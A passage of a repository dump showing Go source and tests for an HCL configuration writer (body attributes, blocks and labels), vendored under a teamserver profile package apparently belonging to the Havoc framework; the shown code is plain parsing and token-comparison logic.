[]byte(`\"`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOBrace,\n                    Bytes:        []byte{'{'},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenCBrace,\n                    Bytes:        []byte{'}'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            `foo \"hoge\" {}`,\n            \"foo\",\n            []string{\"hoge\"},\n            []string{}, // remove all labels\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`foo`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOBrace,\n                    Bytes:        []byte{'{'},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenCBrace,\n                    Bytes:        []byte{'}'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            `foo \"hoge\" /* fuga */ \"piyo\" {}`,\n            \"foo\",\n            []string{\"hoge\", \"piyo\"},\n            []string{\"fuga\"}, // force quoted form even if the old one is unquoted.\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`foo`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenQuotedLit,\n                    Bytes:        []byte(`fuga`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenCQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOBrace,\n                    Bytes:        []byte{'{'},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenCBrace,\n                    Bytes:        []byte{'}'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            `foo \"hoge\" /* foo */  \"\" {}`,\n            \"foo\",\n            []string{\"hoge\", \"\"},\n            []string{\"fuga\"}, // force quoted form even if the old one is unquoted.\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`foo`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenQuotedLit,\n                    Bytes:        []byte(`fuga`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenCQuote,\n                    Bytes:        []byte(`\"`),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenOBrace,\n                    Bytes:        []byte{'{'},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenCBrace,\n                    Bytes:        []byte{'}'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n    }\n\n    for _, test := range tests {\n        t.Run(fmt.Sprintf(\"%s %s %s in %s\", test.typeName, test.oldLabels, test.newLabels, test.src), func(t *testing.T) {\n            f, diags := ParseConfig([]byte(test.src), \"\", hcl.Pos{Line: 1, Column: 1})\n            if len(diags) != 0 {\n                for _, diag := range diags {\n                    t.Logf(\"- %s\", diag.Error())\n                }\n                t.Fatalf(\"unexpected diagnostics\")\n            }\n\n            b := f.Body().FirstMatchingBlock(test.typeName, test.oldLabels)\n            b.SetLabels(test.newLabels)\n            got := f.BuildTokens(nil)\n            format(got)\n            if !reflect.DeepEqual(got, test.want) {\n                diff := cmp.Diff(test.want, got)\n                t.Errorf(\"wrong result\\ngot:  %s\\nwant: %s\\ndiff:\\n%s\", spew.Sdump(got), spew.Sdump(test.want), diff)\n            }\n        })\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/ast_body.go",
    "content": "package hclwrite\n\nimport (\n    \"reflect\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\ntype Body struct {\n    inTree\n\n    items nodeSet\n}\n\nfunc newBody() *Body {\n    return &Body{\n        inTree: newInTree(),\n        items:  newNodeSet(),\n    }\n}\n\nfunc (b *Body) appendItem(c nodeContent) *node {\n    nn := b.children.Append(c)\n    b.items.Add(nn)\n    return nn\n}\n\nfunc (b *Body) appendItemNode(nn *node) *node {\n    nn.assertUnattached()\n    b.children.AppendNode(nn)\n    b.items.Add(nn)\n    return nn\n}\n\n// Clear removes all of the items from the body, making it empty.\nfunc (b *Body) Clear() {\n    b.children.Clear()\n}\n\nfunc (b *Body) AppendUnstructuredTokens(ts Tokens) {\n    b.inTree.children.Append(ts)\n}\n\n// Attributes returns a new map of all of the attributes in the body, with\n// the attribute names as the keys.\nfunc (b *Body) Attributes() map[string]*Attribute {\n    ret := make(map[string]*Attribute)\n    for n := range b.items {\n        if attr, isAttr := n.content.(*Attribute); isAttr {\n            nameObj := attr.name.content.(*identifier)\n            name := string(nameObj.token.Bytes)\n            ret[name] = attr\n        }\n    }\n    return ret\n}\n\n// Blocks returns a new slice of all the blocks in the body.\nfunc (b *Body) Blocks() []*Block {\n    ret := make([]*Block, 0, len(b.items))\n    for _, n := range b.items.List() {\n        if block, isBlock := n.content.(*Block); isBlock {\n            ret = append(ret, block)\n        }\n    }\n    return ret\n}\n\n// GetAttribute returns the attribute from the body that has the given name,\n// or returns nil if there is currently no matching attribute.\nfunc (b *Body) GetAttribute(name string) *Attribute {\n    for n := range b.items {\n        if attr, isAttr := n.content.(*Attribute); isAttr {\n            nameObj := attr.name.content.(*identifier)\n            if nameObj.hasName(name) {\n                // We've found it!\n                return attr\n            }\n        }\n    }\n\n    return nil\n}\n\n// getAttributeNode is like GetAttribute but it returns the node containing\n// the selected attribute (if one is found) rather than the attribute itself.\nfunc (b *Body) getAttributeNode(name string) *node {\n    for n := range b.items {\n        if attr, isAttr := n.content.(*Attribute); isAttr {\n            nameObj := attr.name.content.(*identifier)\n            if nameObj.hasName(name) {\n                // We've found it!\n                return n\n            }\n        }\n    }\n\n    return nil\n}\n\n// FirstMatchingBlock returns a first matching block from the body that has the\n// given name and labels or returns nil if there is currently no matching\n// block.\nfunc (b *Body) FirstMatchingBlock(typeName string, labels []string) *Block {\n    for _, block := range b.Blocks() {\n        if typeName == block.Type() {\n            labelNames := block.Labels()\n            if len(labels) == 0 && len(labelNames) == 0 {\n                return block\n            }\n            if reflect.DeepEqual(labels, labelNames) {\n                return block\n            }\n        }\n    }\n\n    return nil\n}\n\n// RemoveBlock removes the given block from the body, if it's in that body.\n// If it isn't present, this is a no-op.\n//\n// Returns true if it removed something, or false otherwise.\nfunc (b *Body) RemoveBlock(block *Block) bool {\n    for n := range b.items {\n        if n.content == block {\n            n.Detach()\n            b.items.Remove(n)\n            return true\n        }\n    }\n    return false\n}\n\n// SetAttributeRaw either replaces the expression of an existing attribute\n// of the given name or adds a new attribute definition to the end of the block,\n// using the given tokens verbatim as the expression.\n//\n// The same caveats apply to this function as for NewExpressionRaw on which\n// it is based. If possible, prefer to use SetAttributeValue or\n// SetAttributeTraversal.\nfunc (b *Body) SetAttributeRaw(name string, tokens Tokens) *Attribute {\n    attr := b.GetAttribute(name)\n    expr := NewExpressionRaw(tokens)\n    if attr != nil {\n        attr.expr = attr.expr.ReplaceWith(expr)\n    } else {\n        attr := newAttribute()\n        attr.init(name, expr)\n        b.appendItem(attr)\n    }\n    return attr\n}\n\n// SetAttributeValue either replaces the expression of an existing attribute\n// of the given name or adds a new attribute definition to the end of the block.\n//\n// The value is given as a cty.Value, and must therefore be a literal. To set\n// a variable reference or other traversal, use SetAttributeTraversal.\n//\n// The return value is the attribute that was either modified in-place or\n// created.\nfunc (b *Body) SetAttributeValue(name string, val cty.Value) *Attribute {\n    attr := b.GetAttribute(name)\n    expr := NewExpressionLiteral(val)\n    if attr != nil {\n        attr.expr = attr.expr.ReplaceWith(expr)\n    } else {\n        attr := newAttribute()\n        attr.init(name, expr)\n        b.appendItem(attr)\n    }\n    return attr\n}\n\n// SetAttributeTraversal either replaces the expression of an existing attribute\n// of the given name or adds a new attribute definition to the end of the body.\n//\n// The new expression is given as a hcl.Traversal, which must be an absolute\n// traversal. To set a literal value, use SetAttributeValue.\n//\n// The return value is the attribute that was either modified in-place or\n// created.\nfunc (b *Body) SetAttributeTraversal(name string, traversal hcl.Traversal) *Attribute {\n    attr := b.GetAttribute(name)\n    expr := NewExpressionAbsTraversal(traversal)\n    if attr != nil {\n        attr.expr = attr.expr.ReplaceWith(expr)\n    } else {\n        attr := newAttribute()\n        attr.init(name, expr)\n        b.appendItem(attr)\n    }\n    return attr\n}\n\n// RemoveAttribute removes the attribute with the given name from the body.\n//\n// The return value is the attribute that was removed, or nil if there was\n// no such attribute (in which case the call was a no-op).\nfunc (b *Body) RemoveAttribute(name string) *Attribute {\n    node := b.getAttributeNode(name)\n    if node == nil {\n        return nil\n    }\n    node.Detach()\n    b.items.Remove(node)\n    return node.content.(*Attribute)\n}\n\n// AppendBlock appends an existing block (which must not be already attached\n// to a body) to the end of the receiving body.\nfunc (b *Body) AppendBlock(block *Block) *Block {\n    b.appendItem(block)\n    return block\n}\n\n// AppendNewBlock appends a new nested block to the end of the receiving body\n// with the given type name and labels.\nfunc (b *Body) AppendNewBlock(typeName string, labels []string) *Block {\n    block := newBlock()\n    block.init(typeName, labels)\n    b.appendItem(block)\n    return block\n}\n\n// AppendNewline appends a newline token to th end of the receiving body,\n// which generally serves as a separator between different sets of body\n// contents.\nfunc (b *Body) AppendNewline() {\n    b.AppendUnstructuredTokens(Tokens{\n        {\n            Type:  hclsyntax.TokenNewline,\n            Bytes: []byte{'\\n'},\n        },\n    })\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclwrite/ast_body_test.go",
    "content": "package hclwrite\n\nimport (\n    \"fmt\"\n    \"reflect\"\n    \"strings\"\n    \"testing\"\n\n    \"github.com/davecgh/go-spew/spew\"\n    \"github.com/google/go-cmp/cmp\"\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\nfunc TestBodyGetAttribute(t *testing.T) {\n    tests := []struct {\n        src  string\n        name string\n        want Tokens\n    }{\n        {\n            \"\",\n            \"a\",\n            nil,\n        },\n        {\n            \"a = 1\\n\",\n            \"a\",\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte{'a'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte{'='},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNumberLit,\n                    Bytes:        []byte{'1'},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            \"a = 1\\nb = 1\\nc = 1\\n\",\n            \"a\",\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte{'a'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte{'='},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNumberLit,\n                    Bytes:        []byte{'1'},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            \"a = 1\\nb = 2\\nc = 3\\n\",\n            \"b\",\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte{'b'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte{'='},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNumberLit,\n                    Bytes:        []byte{'2'},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            \"a = 1\\nb = 2\\nc = 3\\n\",\n            \"c\",\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte{'c'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte{'='},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNumberLit,\n                    Bytes:        []byte{'3'},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            \"a = 1\\n# b is a b\\nb = 2\\nc = 3\\n\",\n            \"b\",\n            Tokens{\n                {\n                    // Recognized as a lead comment and so attached to the attribute\n                    Type:         hclsyntax.TokenComment,\n                    Bytes:        []byte(\"# b is a b\\n\"),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte{'b'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte{'='},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNumberLit,\n                    Bytes:        []byte{'2'},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            \"a = 1\\n# not attached to a or b\\n\\nb = 2\\nc = 3\\n\",\n            \"b\",\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte{'b'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte{'='},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNumberLit,\n                    Bytes:        []byte{'2'},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n    }\n\n    for _, test := range tests {\n        t.Run(fmt.Sprintf(\"%s in %s\", test.name, test.src), func(t *testing.T) {\n            f, diags := ParseConfig([]byte(test.src), \"\", hcl.Pos{Line: 1, Column: 1})\n            if len(diags) != 0 {\n                for _, diag := range diags {\n                    t.Logf(\"- %s\", diag.Error())\n                }\n                t.Fatalf(\"unexpected diagnostics\")\n            }\n\n            attr := f.Body().GetAttribute(test.name)\n            if attr == nil {\n                if test.want != nil {\n                    t.Fatal(\"attribute not found, but want it to exist\")\n                }\n            } else {\n                if test.want == nil {\n                    t.Fatal(\"attribute found, but expecting not found\")\n                }\n\n                got := attr.BuildTokens(nil)\n                if !reflect.DeepEqual(got, test.want) {\n                    t.Errorf(\"wrong result\\ngot:  %s\\nwant: %s\", spew.Sdump(got), spew.Sdump(test.want))\n                }\n            }\n        })\n    }\n}\n\nfunc TestBodyFirstMatchingBlock(t *testing.T) {\n    src := `a = \"b\"\nservice {\n  attr0 = \"val0\"\n}\nservice \"label1\" {\n  attr1 = \"val1\"\n}\nservice \"label1\" \"label2\" {\n  attr2 = \"val2\"\n}\nparent {\n  attr3 = \"val3\"\n  child {\n    attr4 = \"val4\"\n  }\n}\n`\n\n    tests := []struct {\n        src      string\n        typeName string\n        labels   []string\n        want     string\n    }{\n        {\n            src,\n            \"service\",\n            []string{},\n            `service {\n  attr0 = \"val0\"\n}\n`,\n        },\n        {\n            src,\n            \"service\",\n            []string{\"label1\"},\n            `service \"label1\" {\n  attr1 = \"val1\"\n}\n`,\n        },\n        {\n            src,\n            \"service\",\n            []string{\"label1\", \"label2\"},\n            `service \"label1\" \"label2\" {\n  attr2 = \"val2\"\n}\n`,\n        },\n        {\n            src,\n            \"parent\",\n            []string{},\n            `parent {\n  attr3 = \"val3\"\n  child {\n    attr4 = \"val4\"\n  }\n}\n`,\n        },\n        {\n            src,\n            \"hoge\",\n            []string{},\n            \"\",\n        },\n        {\n            src,\n            \"hoge\",\n            []string{\"label1\"},\n            \"\",\n        },\n        {\n            src,\n            \"service\",\n            []string{\"label2\"},\n            \"\",\n        },\n        {\n            src,\n            \"service\",\n            []string{\"label2\", \"label1\"},\n            \"\",\n        },\n        {\n            src,\n            \"child\",\n            []string{},\n            \"\",\n        },\n    }\n\n    for _, test := range tests {\n        t.Run(fmt.Sprintf(\"%s %s\", test.typeName, strings.Join(test.labels, \" \")), func(t *testing.T) {\n            f, diags := ParseConfig([]byte(test.src), \"\", hcl.Pos{Line: 1, Column: 1})\n            if len(diags) != 0 {\n                for _, diag := range diags {\n                    t.Logf(\"- %s\", diag.Error())\n                }\n                t.Fatalf(\"unexpected diagnostics\")\n            }\n\n            block := f.Body().FirstMatchingBlock(test.typeName, test.labels)\n            if block == nil {\n                if test.want != \"\" {\n                    t.Fatal(\"block not found, but want it to exist\")\n                }\n            } else {\n                if test.want == \"\" {\n                    t.Fatal(\"block found, but expecting not found\")\n                }\n\n                got := string(block.BuildTokens(nil).Bytes())\n                if got != test.want {\n                    t.Errorf(\"wrong result\\ngot:  %s\\nwant: %s\", got, test.want)\n                }\n            }\n        })\n    }\n}\n\nfunc TestBodySetAttributeValue(t *testing.T) {\n    tests := []struct {\n        src  string\n        name string\n        val  cty.Value\n        want Tokens\n    }{\n        {\n            \"\",\n            \"a\",\n            cty.True,\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte{'a'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte{'='},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(\"true\"),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            \"b = false\\n\",\n            \"a\",\n            cty.True,\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte{'b'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte{'='},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(\"false\"),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte{'a'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte{'='},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(\"true\"),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            \"a = false\\n\",\n            \"a\",\n            cty.True,\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte{'a'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte{'='},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(\"true\"),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            \"a = 1\\nb = false\\n\",\n            \"a\",\n            cty.True,\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte{'a'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte{'='},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(\"true\"),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte{'b'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte{'='},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(\"false\"),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n    }\n\n    for _, test := range tests {\n        t.Run(fmt.Sprintf(\"%s = %#v in %s\", test.name, test.val, test.src), func(t *testing.T) {\n            f, diags := ParseConfig([]byte(test.src), \"\", hcl.Pos{Line: 1, Column: 1})\n            if len(diags) != 0 {\n                for _, diag := range diags {\n                    t.Logf(\"- %s\", diag.Error())\n                }\n                t.Fatalf(\"unexpected diagnostics\")\n            }\n\n            f.Body().SetAttributeValue(test.name, test.val)\n            got := f.BuildTokens(nil)\n            format(got)\n            if !reflect.DeepEqual(got, test.want) {\n                diff := cmp.Diff(test.want, got)\n                t.Errorf(\"wrong result\\ngot:  %s\\nwant: %s\\ndiff:\\n%s\", spew.Sdump(got), spew.Sdump(test.want), diff)\n            }\n        })\n    }\n}\n\nfunc TestBodySetAttributeTraversal(t *testing.T) {\n    tests := []struct {\n        src  string\n        name string\n        trav string\n        want Tokens\n    }{\n        {\n            \"\",\n            \"a\",\n            `b`,\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte{'a'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte{'='},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(\"b\"),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            \"\",\n            \"a\",\n            `b.c.d`,\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte{'a'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte{'='},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(\"b\"),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenDot,\n                    Bytes:        []byte(\".\"),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(\"c\"),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenDot,\n                    Bytes:        []byte(\".\"),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(\"d\"),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            \"\",\n            \"a\",\n            `b[0]`,\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte{'a'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte{'='},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(\"b\"),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenOBrack,\n                    Bytes:        []byte(\"[\"),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenNumberLit,\n                    Bytes:        []byte(\"0\"),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenCBrack,\n                    Bytes:        []byte(\"]\"),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            \"\",\n            \"a\",\n            `b[0].c`,\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte{'a'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte{'='},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(\"b\"),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenOBrack,\n                    Bytes:        []byte(\"[\"),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenNumberLit,\n                    Bytes:        []byte(\"0\"),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenCBrack,\n                    Bytes:        []byte(\"]\"),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenDot,\n                    Bytes:        []byte(\".\"),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(\"c\"),\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n    }\n\n    for _, test := range tests {\n        t.Run(fmt.Sprintf(\"%s = %s in %s\", test.name, test.trav, test.src), func(t *testing.T) {\n            f, diags := ParseConfig([]byte(test.src), \"\", hcl.Pos{Line: 1, Column: 1})\n            if len(diags) != 0 {\n                for _, diag := range diags {\n                    t.Logf(\"- %s\", diag.Error())\n                }\n                t.Fatalf(\"unexpected diagnostics\")\n            }\n\n            traversal, diags := hclsyntax.ParseTraversalAbs([]byte(test.trav), \"\", hcl.Pos{Line: 1, Column: 1})\n            if len(diags) != 0 {\n                for _, diag := range diags {\n                    t.Logf(\"- %s\", diag.Error())\n                }\n                t.Fatalf(\"unexpected diagnostics from traversal\")\n            }\n\n            f.Body().SetAttributeTraversal(test.name, traversal)\n            got := f.BuildTokens(nil)\n            format(got)\n            if !reflect.DeepEqual(got, test.want) {\n                diff := cmp.Diff(test.want, got)\n                t.Errorf(\"wrong result\\ngot:  %s\\nwant: %s\\ndiff:\\n%s\", spew.Sdump(got), spew.Sdump(test.want), diff)\n            }\n        })\n    }\n}\n\nfunc TestBodySetAttributeRaw(t *testing.T) {\n    tests := []struct {\n        src    string\n        name   string\n        tokens Tokens\n        want   Tokens\n    }{\n        {\n            \"\",\n            \"a\",\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`true`),\n                    SpacesBefore: 0,\n                },\n            },\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte{'a'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte{'='},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(\"true\"),\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenNewline,\n                    Bytes:        []byte{'\\n'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEOF,\n                    Bytes:        []byte{},\n                    SpacesBefore: 0,\n                },\n            },\n        },\n        {\n            \"a = 23\\n\",\n            \"a\",\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte(`true`),\n                    SpacesBefore: 0,\n                },\n            },\n            Tokens{\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        []byte{'a'},\n                    SpacesBefore: 0,\n                },\n                {\n                    Type:         hclsyntax.TokenEqual,\n                    Bytes:        []byte{'='},\n                    SpacesBefore: 1,\n                },\n                {\n                    Type:         hclsyntax.TokenIdent,\n                    Bytes:        